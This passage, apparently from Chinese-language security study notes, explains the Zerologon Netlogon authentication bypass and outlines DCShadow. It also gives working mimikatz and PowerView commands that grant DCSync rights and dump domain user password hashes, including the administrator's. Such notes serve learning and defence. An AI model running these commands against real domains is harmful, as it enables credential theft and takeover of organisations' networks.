      最后要解决的就是确保第一轮(加密 IV) 的结果的前 8 位和明文前 8 位相同就可以了。只需要 2 的 8 次方次就可,也就是说即使不知道 key通过反复运行多次就能撞到我们想要的条件了。
    • netlogon 认证协议绕过

      t018b7c797053d32722
      计算 ClientChallenge 使用 ComputeNetlogonCredential 函数,通过协商 flag 来选择是用 DES_ECB 还是 AES_CFB 加密。
      所以可以重复向 Server 发送一个 ClientChanllenge(满足 ababab 格式),直到出现一个 session_key,使得服务端生成的 ClientCredential 也为00000000000000。
      这里默认还会增加签名校验(通过 session_key)加密,但我们的 session_key 为 0000000000000000 无法生成签名,所以要取消对应标志位来关闭这个选项。
    • 重置密码漏洞:

      在认证绕过后,就可以调用任意 RPC 函数了,作者最后选择了 NetrServerPasswordSet2,大致原因就是调用之前需要经过认证,而认证部分的参数我门可控(通过 ClientChallenge),也就是能绕过了。
  • 补充1:Dcsync 攻击


    域内的不同 DC 之间,每 15min 都会有一次域数据同步,DC 会发送一个 GetNCChanges 请求给另一个 DC,请求的数据需要同步的数据,那么如果有一个 Dcsync 权限的用户就可以模仿成一个域控,向真实域控请求数据。
    有 Dcsync 权限的用户:
    • Administrators组内的用户
    • Domain Admins组内的用户
    • Enterprise Admins组内的用户
    • 域控制器的计算机帐户

    即:默认情况下域管理员组具有该权限
    可通过 mimikatz 实现
    mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
    

    或者 powershell,工具 powerview + https://gist.github.com/monoxgas/9d238accd969550136db
     Import-Module .\powerview.ps1
    Get-ObjectAcl -DistinguishedName "dc=1ight,dc=top" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')} (查找域内拥有复制或更改目录权限的用户)
    Add-ObjectAcl -TargetDistinguishedName "dc=1ight,dc=top" -PrincipalSamAccountName username -Rights DCSync -Verbose    (授予任何用户DCsync权限)
    Invoke-DCSync -DumpForest | ft -wrap -autosize  (导出域内所有用户的 hash)
    Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -a (导出 administrator账户的 hash)
    
  • 补充2:DCShadow 攻击


    具备域管理员权限条件下,攻击者可以创建伪造的域控制器,将预先设定的对象或对象属性复制到正在运行域服务器中。
    攻击流程:
    1. 在目标域的 AD 活动目录注册一个伪造的 DC 中;
    2. 使伪造的 DC 被其他的 DC 认可,能够参与域复制 ;
    3. 强制触发域复制,将指定的新对象或修改后的对象属性同步复制到其他 DC 中;

     
  • 参考文献: